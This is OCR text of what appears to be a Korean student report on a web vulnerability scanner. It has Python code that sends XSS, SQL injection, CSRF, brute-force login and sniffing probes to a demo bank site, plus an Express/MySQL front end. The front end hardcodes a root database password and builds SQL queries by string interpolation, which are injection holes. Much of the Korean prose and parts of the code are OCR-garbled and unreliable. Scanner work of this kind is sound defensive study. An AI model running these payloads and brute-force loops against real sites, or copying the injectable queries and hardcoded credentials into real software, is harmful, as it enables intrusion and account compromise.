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2.2. Python
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2.3. JavaScript
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2.4. MysQL
MySQLZ 2016E 7|&E 80% O|&e| Al BRES XHAIStD Ues 2AE HO[HH 0|2
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2.5 JSON
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3.2.1 XSS

F X55(url):
target url, method = getForm{url)

insert_data = {
F method == " 2
ests.post(target_url, data=insert_data).text

s.get(target_url, params=insert_data).text

result list[’
result 1ist['X fo' ]=target url

PEEUlt
result

[ﬁf -ﬂpr

list
list[’ o' ]=target url

8 2. XSS A3 EE

XSS& Cross Site Scripting 2| ZEUZE ALEX7L 345t = AO|EO| 24o[FQl A3
EE d= WHYoIth oE =0 AAE0 M=OILt 80| AFTEE E/US EF AMH
7t O|F EHZSHX| X5t AAZe A3 EEE AUz MESIH CHE AFEXZE O A
ANES BEUE I 23EEI} AE5t= Aoty A8 2= XSSO Chslf TIEHt= A3 EE
O|Ct. 'hi'gt= THOE A3 EEE 0|8510 dA2 I o|F EHEZ x| RSt A3 E
E7b 2&50] 'hi'gte THO(7b 2O LIEFLEH HAX{ ZICHSH= FAMO|EZE XSSO CHH
Fofotot EERSCE,

rl

r

3.2.2 SQL Injection

F sglInjection(url):
target wurl =url+”/c

login_info ={

content=requests.post{target url, data=login_info).tex

e” in content:
result 1ist[ lin*
result list[

result list[*
result list['s o" J=target url

8 3. SQL Injection A3 EE
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0% 4. CSRF A3 YE

CSRF= Cross Site Request Forgery2| 2FALZ XSSt Of@ FASICE 2 ARO|E 2 XSS=
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3.2.4 BruteForce
- bruteForce(url}:
target url =url+”
session = re ts.session()

password list getowd()+"
password = password list.readlines()

for psword in password:
passwWordd = psword.strip()

login_info
LL ':j“

nasswordd,

.post(target url, data=login_info).text

2l 5. BruteForce 23 EE

BRE EAL XY b5 BE SXYS YSs WHOR UBE dSots WHO|
. WolME F2 YBat ElAs NAHS $7] Yo BE B0 £2 CjUsts w4
o2 BAUCL 1Y sOME SRE BAS MY RO| AZOE HUHSESS HAE
T2 BHEO| FH|E HYHSESS S (Yol WA2R THSIHCL

3.25 37| F4H

cookie{url):
target_url =url+™/c

d

rget url, data=login_infao)

sion.cookies

for cookie in cookiejar:

if cookie.secure ==

result_cookie secur

if cookie.expires
result cookie expir

1% 6. Cookie 23 EE

_9_



F7l= F= A 2T FEL E MO|E 23 €2 FE& MEotH MEAH E
AOIEE 0|83t HElotes TUSOELL F7(0| AEAte] 2T LI BANE UE
719 27t SAXE BH ZF X BEE Wosts oy g4 48 & Utk 2
g 60M= 0 F F7| 40| SSL ZREES &9 B0 HE

o
=II:=|
N
g
of
o
o
o
= fo
rm

a
D= E St= secure W 27EE0 UA=X|, ot UHSOT FI| L0
2ot A= = JU=XE 28 = U= expires 240] HEE0] U=X]|

Lt
oFstS mCHSIEE SFQILC}H

[

i
xt
I
Ot
L
4 O

3.2.6 Redirect F|2H

- redirect(url):
target url =url+”/do

ME O HTTP 21 HTTPSE Z|CHO[HE St= 82, & =9 http://abc.com
L} abc.comBt 3T AL MHZ0|A 302 RedirectS O|&3}0] HTTPSZE HEA|Z £
UCE XS Ol L2otE|X| @i BEL=E FEE F1 27| M0 o[l CHE o
O|X|2 Z|CIO|HME E|=& & £ Us FHAHEO| JUCE MHOIM HSTSE HE5}
ANETL HTTPS B S St=E ZHSID HTTP @2 ALK UEE ¢ Of |
2= QUCE 28 72 HSTS7t BHE|OUE=X| headerO| A 72 =QISHY FUetS THEHSHE
g StRALCE

gin_info)

.get(target url, data=login_info)

2 = res.headers[’Set-Cookie"']
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il Lr range{len cookieValue)):
data bin= 4 bﬁ#duCUdﬁ{Cuuklaudlue[ 1)
if isinstance({data bin, s )=
result list[ "bs result list['ba Vul'] + data_bin

result list[ "bs Vul * result list[’'ba jul'] + str(data bin)

T sniffing():
sniff(lfilter=showPacket, timeout=5)

temp=0
def ShONPaLkHtrparkﬁtr

target_url =url+"/c
login_info ={

sts.post({target url, data=login_ info)
pk raw(packet)
strpk = str{pk)
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import requests

from bs4 import BeautifulSoup as bs
import sys

import os

from requests.sessions import session
import json

import base64

from scapy.all import *

from scapy.layers.http import HTTPRequest

result_list = {}

def getForm(url):
s = requests.session()
soup=bs(s.get(url,verify = False).text, "html.parser")
obj_form=soup.find_all("form")

while(not obj_form):
for x in soup.find_all("a"):
href = x.attrs.get("href")
soup=bs(requests.get(url+href).text, "html.parser")
obj_form=soup.find_all("form")

for x in obj_form:
action = x.attrs.get("action")
method = x.attrs.get("method")

obj_input=soup.find_all("input")
obj_textarea=soup.find_all("textarea")

inputs = {}
i=0
for x in obj_input:

input_type = x.attrs.get("type")
input_name = x.attrs.get("name")
input_value = x.attrs.get("value")
inputs["typef}".format(i)] = input_type

_15_




inputs["name{}".format(i)] = input_name
inputs["valuef{}".format(i)] = input_value
= i+1

z=20

for x in obj_textarea:
textarea_name = x.attrs.get("name")
inputs["textarea_namef{}".format(z)] = textarea_name
z = z+1

#EI 42| MY : action, method, input
form_info ={}

form_info["action"] = action
form_info["method"] = method

target_url = url+form_info["action"]
return target_url, form_info["method"]

def XSS(url):
target_url, method = getForm(url)

insert_data = { "query" : "<script>alert('hi')</script>"}
if method == "post":

res=requests.post(target_url, data=insert_data).text
else :

res=requests.get(target_url, params=insert_data).text

if "<script>alert('hi')</script>" in res:
result_list['XSS'1="9/&"
result_list['’XSS_info']=target_url
else :
result_list['XSS'1="2 "
result_list['’XSS_info']=target_url

def CSRF(url):
target_url =url+"/doLogin"
session = requests.session()
login_info ={
"uid"" or 1=1--+",

_16_




"passw":"1234",

"btnSubmit":"Login"
}
res=session.post(target_url, data=login_info)
target_url = url+"/sendFeedback”

send_info ={
“cfile":"comments.txt",
"name": "<body onload="csrf.submit();'> <form
name='csrf'action="http://altoromutual.com:8080/logout.jsp'</form>",
"email_addr":"1@gmail.com"”,
"subject™:"2",
"comments": "3",
"submit":"Submit"
}
res=session.post(target_url, data=send_info)
session = requests.session()
res=requests.get(url)

if "Sign In" in res.text:
result_list[' CSRF]="2/&"
result_list['CSRF_info']=target_url
else:
result_list['CSRF]="2t7"
result_list['CSRF_info']=target_url
def sqlinjection(url):
target_url =url+"/doLogin"

login_info ={
"uid"™ or 1=1--+",
"passw":"1234",
"btnSubmit":"Login"
}

content=requests.post(target_url, data=login_info).text

if "Welcome" in content:
result_list['sqlin]="$1&"
result_list['sql_info']=target_url

else:
result_list['sqlin]='2t X"
result_list['sql_info']=target_url

_‘|7_




def bruteForce(url):
target_url =url+"/doLogin"
session = requests.session()

password_list = open(os.getcwd()+"#password.txt", "r")
password = password_list.readlines()

for psword in password:
passwordd = psword.strip()

login_info ={
"uid":"admin",
"passw": passwordd,
"btnSubmit":"Login"

content=session.post(target_url, data=login_info).text

if "Welcome" in content:
result_list['bruteForce']="¢| "
result_list['bruteForce_info']=target_url
return

result_list['bruteForce']='9t™
result_list['bruteForce_info']=target_url

def cookie(url):
target_url =url+"/doLogin"
session = requests.session()

login_info ={

"uid™" or 1=1--+",

"passw":"1234",

"btnSubmit":"Login"

}

session.post(target_url, data=login_info)
cookiejar = session.cookies

for cookie in cookiejar:
if cookie.secure == False :
result_cookie_secure= False
else :
result_cookie_secure= True

_18_




if cookie.expires == None :
result_cookie_expires= False
else :
result_cookie_expires= True

if result_cookie_secure and result_cookie_expires :
result_list["cookie"]="QtH"
result_list['cookie_info']="secure,expire =& &"

else:
result_list["cookie"]="|&"
result_list['cookie_info']="secure,expire 8HE Q"

def httpCheck(url):
if "https" in url:
try:
res = requests.get(url,verify=False)
if res.status_code == 200:
result_list['http']="Qt="

except:
result_list["http"]="¢/&"
result_list["http_info"]="Https Z2EEZZ Q"

else:
result_list["http"]="%&"
result_list["http_info"]="Https ZEEEZZ Q"
def base64Vul(url):
target_url =url+"/doLogin"
session = requests.session()

login_info ={

"uid"" or 1=1--+",

"passw":"1234",

"btnSubmit™:"Login"

}

session.post(target_url, data=login_info)
cookiejar = session.cookies

cookieValue = []
for cookie in cookiejar:
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cookieValue.append(cookie.value)

result_list['base64Vul'] = "
for i in range(len(cookieValue)):
data_bin=base64.b64decode(cookieValueli])
if isinstance(data_bin, str ):
result_list['base64Vul']
else :
result_list['base64Vul']

result_list['base64Vul'l + data_bin

result_list['base64Vul'l + str(data_bin)

def sessionVul(url):
target_url =url+"/doLogin"
login_info ={
"uid":"admin”,
"passw":"admin",
"btnSubmit":"Login"

r = requests.get(target_url)
try:
session2 = r.headers['Strict-Transport-Security']
except KeyError as session2:
result_list['sessionVul'] = 'Q/&"
else:

1l
0
pal

result_list['sessionVul']

def sniffing():
sniff(Ifilter=showPacket, timeout=6)

temp=0
def showPacket(packet):
scapy.all.load_layer("http")
target_url =url+"/doLogin"
login_info ={
"uid":"admin”,
"passw":"admin”,
"btnSubmit":"Login"
}
requests.post(target_url, data=login_info)
pk = raw(packet)
strpk = str(pk)
global temp
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if 'uid=admin’ in strpk:
result_list['sniff] = "¢/ &'

temp=1
elif temp==1:
result_list['sniff] = '@/
else:
result_list['sniff'] = 'OtH"

url = str(sys.argv[1])
sqllnjection(url)
CSRF(url)

cookie(url)
httpCheck(url)
bruteForce(url)
XSS(url)
base64Vul(url)
sessionVul(url)
sniffing()
json_result=json.dumps(result_list)
print(json_result)

mainjs (3 AH)

var express = require('express’);

var app = express();

var path = require('path’);

var url = require('url’);

var template = require('./lib/template.js’)
var bodyParser = require('body-parser’);
var mysql = require('mysql’);

var MySQLStore = require('express-mysql-session’);
var flash = require('connect-flash’);

var spawn = require('child_process').spawn;
var session = require('express-session’);

const { Script } = require('vm’);

var db = mysql.createConnection({
host . 'localhost’,
user . 'root!,
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password : 'sql1105’,
database : 'result'

)

var options= {
host : 'localhost’,
user . 'root!,
password : 'sql1105’,
database : 'result'

}

var sessionStore = new MySQLStore(options);

db.connect();
app.set('veiw engine’, 'gjs’);
app.set('views',"./views');
app.use(express.static(path.join(__dirname, '/public"));
app.use(bodyParser.urlencoded({ extended: false}));
app.use(flash());
app.use(session({

secret: 'sessionKey',

resave: false,

saveUninitialized: true,

store: sessionStore

)k

app.get('/', function(request, response){
if(request.session.isLogined){
response.render(__dirname+'/views/member.ejs');
}
else{
response.render(__dirname+'/views/index.gjs");

)

app.get('/profile', function(request, response){
if(request.session.isLogined){
response.render(__dirname+'/views/profile_logined.gjs");
}
else{
response.render(__dirname+'/views/profile.ejs");
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app.get('/member_data’, function(request, response){
if(request.session.isLogined){
db.query('SELECT * FROM resultlist WHERE name="'${request.session.userld}", function(err,
_url){
if(err){throw err}
var list = template.list(_url);
var html = template. HTML(list);
response.send(html);

D;
}
else{
response.send( <script>alert("2 1 2!0| 23 L|C")</script>");
}
D;

app.get('/member_record/:userld’, function(request, response){
if(request.session.isLogined){
db.query('SELECT * FROM resultlist WHERE id="'${request.params.userld}”, function(err,
record){
if(err){throw err;}

var html = template.result(record[0].sqglin, record[0].sgl_info, record[0].CSRF,
record[0].CSRF_info, record[0].cookie, record[0].cookie_info, record[0].http, record[0].http_info,
record[0].bruteForce, record[0].bruteForce_info, record[0].XSS, record[0].XSS_info,

record[0].base64Vul, record[0].sessionVul, record[0].sniff);
response.send(html);

D;
}
else{
response.send('<script>alert("21210] EQ3tL|CtH")</script>");
}
)

app.get('/register’, function(request, response) {
response.render(__dirname+'/views/register.gjs’)

D
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app.post('/register_process', function(request, response) {
var name = request.body.name

var pwd = request.body.pwd

var sql_insert={name:name,pwd,pwd}

db.query('SELECT name FROM member where name=?', [name],function(err,rows){

if(rows.length){

response.writeHead(200, {'Content-Type" 'text/html; charset=utf-8');
response.write('<script>alert("s S |+ OFO|C| ) L|CH") </script>");
response.write(' <script>window.location.href="http://localhost:3000/register" </script>");

} else {

db.query('INSERT INTO member set?',sql_insert,function(err,rows){

if(err) throw err;
response.writeHead(200, {'Content-Type" 'text/html; charset=utf-8');
response.write(' <script>alert("2| 7t 2 2FR M S LICH)</script>");
response.write(' <script>window.location.href="http://localhost:3000/" </script>");

D

app.get('/login', function(request, response) {
response.render(__dirname+'/views/login.ejs')

)

app.post('/login_process', function(request, response) {
var name = request.body.name

var pwd = request.body.pwd

var sql_insert={name:name,pwd,pwd}

db.query('SELECT * FROM member where name=?', [name],function(err,rows){

if(err){

throw err

if(rows.length){

if(rows[0].name === name){
db.query('SELECT * FROM member where pwd=?", [pwd] function(err,rows){

if(err){
throw err

}

if(rows.length){
request.session.userld=rows[0].name
request.session.password=rows[0].pwd
request.session.isLogined=true;
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request.session.save(function(){
response.redirect('/')
)
lelse {
response.writeHead(200, {'Content-Type" 'text/html; charset=utf-8');
response.write('<script>alert("H| 2 #H= 7} & & L|CH")</script>");

response.write(' <script>window.location.href="http://localhost:3000/login" </script>");
}
)

}

} else {
response.writeHead(200, {'Content-Type" 'text/html; charset=utf-8');
response.write(' <script>alert("OtO| C| 7} & Bl L|C}")</script>");
response.write(' <script>window.location.href="http://localhost:3000/login" </script>");

app.get('/logout', function(request, response){
delete request.session.userld;
delete request.session.password;
delete request.session.isLogined;
request.session.save(function(){

response.redirect('/")

)

)

app.get('/result_process', function(request, response){
var _url = request.url
var queryData = url.parse(_url, true).query;
var result = spawn('python’, ['webvul.py’, queryData.id]);
result.stdout.on('data’, function(data){ //datat pythonOflA{ jsonElY
o=z EolZ
var list = data.toString();
var json_data=JSON.parse(list);

db.query(

INSERT INTO resultlist  (name, URL, sqlin, sql_info, CSRF, CSRF_info, cookie,
cookie_info, http, http_info, bruteForce, bruteForce_info, XSS, XSS_info, base64Vul,
sessionVul, sniff) VALUES (‘${request.session.userld}, '${queryData.id},
'${json_data['sqlin'l}’,'${json_data['sql_info']},  '${json_data['CSRF']}, '${json_data['CSRF_info']}',
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'${json_data['cookie']}',

'${json_data['http_info']}’, '${json_data['bruteForce']}’,

'${json_data['XSS']}, '${json_data['XSS_info']},
'${json_data['sessionVul'l}, '${json_data['sniff']}’)’

, function(error, result){
if(error){

throw error;

)

response.render(‘result.ejs’, json_data);
i
result.stderr.on('data’, function(data) {

response.send(data.toString());
i

B

app.get('/XSS', function(request, response){
if(request.session.isLogined){
response.render('XSS.ejs");

}

else{

1

app.get('/SQLINJECTION', function(request, response){
if(request.session.isLogined){

response.render('SQLINJECTION.gjs");

B

app.get('/CSRF', function(request, response){
if(request.session.isLogined){
response.render('CSRF.gjs");

}

else{

response.send(' <script>alert("£ 1 21 0|

e

2L C) </script>');

'${json_data['cookie_info']}',

response.send('<script>alert("21 Q10| HRPtL|Ct")</script>");

}
else{

response.send( <script>alert("2 1 2!0| EL23FL|Ct")</script>");
}

'${json_data['http']}’,
'${json_data['bruteForce_info']}’,
"${json_data['base64Vul']}",




Di
app.get('/BRUTE', function(request, response){

if(request.session.isLogined){
response.render('BRUTE.gjs");
}
else{
response.send( <script>alert("212!0| 23 L|Ct")</script>");

D;
app.get('/PLAIN', function(request, response){
if(request.session.isLogined){
response.render('PLAIN.gjs");
}
else{
response.send('<script>alert("212!0| ZEL23FL|Ct")</script>");

D
app.get('/COOKIE', function(request, response){

if(request.session.isLogined){
response.render('COOKIE.gjs");
}
else{
response.send('<script>alert("21210| & 3tL|CtH")</script>");

Di
app.get('/SNIFF', function(request, response){

if(request.session.isLogined){
response.render('SNIFF.gjs");
}
else{
response.send( <script>alert("21210| EL23L|Ct")</script>");
}

h;
app.get('/SESSION’, function(request, response){

if(request.session.isLogined){
response.render('SESSION.gjs");
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else{
response.send('<script>alert("21210] EL3HL|Ct")</script>");
}
D
app.get('/LOCAL', function(request, response){
if(request.session.isLogined){
response.render('LOCAL.gjs");
}
else{
response.send( <script>alert("2 1 Q!0| ZL23FL|Ct")</script>");

D
app.listen(3000, function() {
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